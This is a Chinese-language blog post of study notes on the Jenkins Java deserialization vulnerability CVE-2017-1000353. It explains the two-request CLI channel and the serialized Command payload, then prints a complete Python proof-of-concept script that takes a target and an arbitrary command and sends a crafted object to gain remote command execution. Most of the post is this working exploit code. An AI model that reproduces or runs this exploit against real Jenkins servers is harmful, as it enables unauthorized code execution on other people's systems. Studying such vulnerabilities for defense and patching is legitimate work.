一、漏洞原理:

本地没有环境:参考:https://blogs.securiteam.com/index.php/archives/3171    进行学习理解记录。

首先这是一个java反序列化漏洞,一定是command在序列化信息中,反序列化时候直接执行了该命令。

攻击过程学习:

下文的session是一个uuid,类型4

 #可以如下生成
session = uuid.uuid4()

1、首先要发送一个请求,是一个下载请求。这个请求是要启动一个双向数据传输频道。频道的标识就是session。而side字段则是用来标识传输方向

对应在代码段:

 def Download(url,session):
headers = {'Side':'download'}
headers['Content-type'] = 'application/x-www-form-urlencoded'
headers['Session'] = session
headers['Transfer-Encoding'] = 'chunked'
try:
response = requests.post(url,data=Null_Payload(),headers=headers,proxies=Proxy,stream=True)
except Exception,ex:
print ex
exit(0)
print response.content

然后是第二个请求:双向信道发送组件,第一个请求被阻塞,一直到第二个请求被发送。此时session与之前保持一致,side改成upload。

数据部分格式规范如下:

(1)前导码

前导码包含一个base64编码的序列化对象。“ 能力 ” 类型的序列化对象只是告诉服务器
客户端具有哪些能力(例如HTTP 分块编码)。

 Premle='<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='

(2)Proto部分 (可能是所说的额外字节)

 Proto = 'x00x00x00x00'

(3)payload部分

在前导码和一些额外的字节之后,Jenkins服务器期望类型为Command的序列化对象。由于Jenkins不验证序列化对象,所以可以发送任何序列化对象。

 def Payload_Init(command):
global File_Serialization
command = "java -jar jenkins_payload.jar payload.ser '%s'"%str(command)
print command
return_number = os.system(command)
if return_number != 0:
print "Call Jar Packet To Init The Payload Error"
exit(0)
File_Serialization = open("./payload.ser","rb").read()

所有第二个数据包发送的数据整合:

 def Create_Payload_Chunked():
yield Premle
yield Proto
yield File_Serialization

发送第二个数据包:

 def Upload_Chunked(url,session,data):
headers = {'Side':'upload'}
headers['Session'] = session
headers['Content-type'] = 'application/octet-stream'
headers['Accept-Encoding'] = None
headers['Transfer-Encoding'] = 'chunked'
headers['Cache-Control'] = 'no-cache'
try:
response = requests.post(url,headers=headers,data=Create_Payload_Chunked(),proxies=Proxy)
except Exception,ex:
print ex
exit(0)

整个攻击流程

 def Attack():
print "start"
session = str(uuid.uuid4())
thread_object = threading.Thread(target=Download,args=(Target,session))
thread_object.start()
time.sleep(1)
print "pwn"
#Upload(URL, session, create_payload())
Upload_Chunked(Target,session,"asdf")

服务器端对应处理

反序列化command对象

然后这个方法在这里被调用

返回了这个序列化好的对象cmd

read方法调用,把返回的对象赋值给了cmd,也就是被读进一个ReaderThread类型的线程。

该线程由类“ CliEndpointResponse ”中调用的“ upload ”方法触发。

在该方法中,HTTP主体数据被读取,并且调用“notify”方法来通知线程。

整体POC

 # -*- coding: utf-8 -*-
"""
援引自:https://7f52.com/?p=450
重构人:陈然
公司:360企业安全集团
""" #需要引入的库文件
import os
import uuid
import gzip
import zlib
import time
import urllib
import socket
import urllib3
import requests
import threading
from optparse import OptionParser #全局变量定义:
#Proxy = {"http":"http://127.0.0.1:8090","https":"http://127.0.0.1:8090"}#HTTP、HTTPS协议代理设置
Proxy = None#HTTP、HTTPS协议代理设置
Target="http://%s:8080/cli"#攻击目标
Premle='<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='
Proto = 'x00x00x00x00'
File_Serialization = None
socket.setdefaulttimeout(3) #全局函数定义
def Payload_Init(command):
global File_Serialization
command = "java -jar jenkins_payload.jar payload.ser '%s'"%str(command)
print command
return_number = os.system(command)
if return_number != 0:
print "Call Jar Packet To Init The Payload Error"
exit(0)
File_Serialization = open("./payload.ser","rb").read() def Download(url,session):
headers = {'Side':'download'}
headers['Content-type'] = 'application/x-www-form-urlencoded'
headers['Session'] = session
headers['Transfer-Encoding'] = 'chunked'
try:
response = requests.post(url,data=Null_Payload(),headers=headers,proxies=Proxy,stream=True)
except Exception,ex:
print ex
exit(0)
print response.content '''
def Upload(url,session,data):
headers = {'Side':'upload'}
headers['Session'] = session
headers['Content-type'] = 'application/octet-stream'
headers['Accept-Encoding'] = None
try:
response = requests.post(url,data=data,headers=headers,proxies=Proxy)
except Exception,ex:
print ex
exit(0)
''' def Upload_Chunked(url,session,data):
headers = {'Side':'upload'}
headers['Session'] = session
headers['Content-type'] = 'application/octet-stream'
headers['Accept-Encoding'] = None
headers['Transfer-Encoding'] = 'chunked'
headers['Cache-Control'] = 'no-cache'
try:
response = requests.post(url,headers=headers,data=Create_Payload_Chunked(),proxies=Proxy)
except Exception,ex:
print ex
exit(0) def Null_Payload():
yield " " """
def Create_Payload():
payload = Premle + Proto + File_Serialization
return payload """ def Create_Payload_Chunked():
yield Premle
yield Proto
yield File_Serialization def Attack():
print "start"
session = str(uuid.uuid4())
thread_object = threading.Thread(target=Download,args=(Target,session))
thread_object.start()
time.sleep(1)
print "pwn"
#Upload(URL, session, create_payload())
Upload_Chunked(Target,session,"asdf") #程序入口
if __name__ == "__main__":
parser = OptionParser()
parser.add_option("-t","--target",dest="target",help="Target IP address!")
parser.add_option("-c","--command",dest="command",help="The command to execute!")
parser.add_option("-p","--protocol",dest="protocol",help="Protocl is HTTP or HTTPS!")
(options, args) = parser.parse_args()
optionslist = [options.target,options.command,options.protocol]
if None in optionslist or "" in optionslist:
print "Please check your input parameters!"
Target = Target%options.target
command = options.command
protocol = options.protocol
if protocol == "HTTP":
pass
elif protocol == "HTTPS":
Target = Target.replace("http","https")
else:
print "Unknown Protocol!"
Payload_Init(command)
Attack()

Jenkins反序列化漏洞cve-2017-1000353的更多相关文章

  1. Jenkins反序列化漏洞复现

    Jenkins Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能. Jenkins功能包括: 持 ...

  2. fastjson反序列化漏洞历史CVE学习整理

    fastjson 1.2.24反序列化漏洞复现 先写一个正常的使用 fastjson的web服务 我们使用 springboot创建 主要是pom.xml 里面要添加fastjson fastjson ...

  3. 学习笔记 | java反序列化漏洞分析

    java反序列化漏洞是与java相关的漏洞中最常见的一种,也是网络安全工作者关注的重点.在cve中搜索关键字serialized共有174条记录,其中83条与java有关:搜索deserialized ...

  4. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  5. WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)复现

    WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)                                                -----by  ba ...

  6. 应用安全-软件安全-漏洞CVE整理

    jira ssrf CVE-2019-8451 url = url + '/plugins/servlet/gadgets/makeRequest?url=' + host + '@www.baidu ...

  7. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  8. 小白审计JACKSON反序列化漏洞

    1. JACKSON漏洞解析 poc代码:main.java import com.fasterxml.jackson.databind.ObjectMapper; import com.sun.or ...

  9. WEBLOGIC 11G (10.3.6) windows PSU 升级10.3.6.0.171017(Java 反序列化漏洞升级)

    10.3.6版本的weblogic需要补丁到10.3.6.0.171017(2017年10月份的补丁,Java 反序列化漏洞升级),oracle官方建议至少打上2017年10月份补丁. 一.查看版本 ...

随机推荐

  1. 使用explain分析sql语句

    sql语句优化 : sql语句的时间花在哪儿? 答: 等待时间 , 执行时间. 这两个时间并非孤立的, 如果单条语句执行的快了,对其他语句的锁定的也就少了. 所以,我们来分析如何降低执行时间. : s ...

  2. tp-01 搭建过程

    1:拷贝ThinkPHP框架系统文件夹自己的www目录中的tp-shop文件夹中 2:新建自己的项目文件(比如:shop)夹与ThinkPHP框架系统文件夹在同一级目录(当然也可以不同) 3: 在tp ...

  3. 让IE6支持min-height,max-height等的方法

    1.IE6支持max-height解决方法    IE6支持最大高度解决CSS代码:.yangshi{max-height:1000px;_height:expression((document.do ...

  4. 【面试】hibernate n+1问题

    Hibernate中常会用到set,bag等集合表示1对多的关系, 在获取实体的时候就能根据关系将关联的对象或者对象集取出, 还可以设定cascade进行关联更新和删除.这不得部说hibernate的 ...

  5. Spring 4 官方文档学习(七)核心技术之Spring AOP APIs

    请忽略本篇内容!!! 1.介绍 2.Spring中的pointcut API 2.1.概念 2.2.对pointcut的操作 2.3. AspectJ expression pointcut 2.4. ...

  6. Asakura的魔法世界

    Font Size:Aa Aa Aa Description Asakura存在于一个魔法世界中.有一天,Asakura在一条魔法通道里偷懒,突然接到一个紧急任务,要高速赶往还有一条通道b去. 我们把 ...

  7. html style的width不起作用

    一. 有些元素的默认情况下没有长度属性的,所以在其style内指定width属性是不会起作用的. 应对措施:使其浮动,float:left/right,浮动的元素长度和宽带都默认是0的,需要指定长度和 ...

  8. ScreenPointToRay - 近视口到屏幕的射线

    正如题目所说,ScreenPointToRay可以计算从Camera的近视口nearClip向前发射一条射线到屏幕上的点的坐标. 函数原型为: public Ray ScreenPointToRay( ...

  9. 【Java集合的详细研究6】Java 数组

    Java 语言中提供的数组是用来存储固定大小的同类型元素. 声明数组变量 double[] myList; // 首选的方法 或 double myList[]; // 效果相同,但不是首选方法 创建 ...

  10. jQuery-处理class属性

    1.addClass方法 为每个匹配的元素添加指定的样式类名 参数类型说明: 1)class名称(字符串) 每个匹配元素添加的一个或多个用空格隔开的样式名 2)function(index, curr ...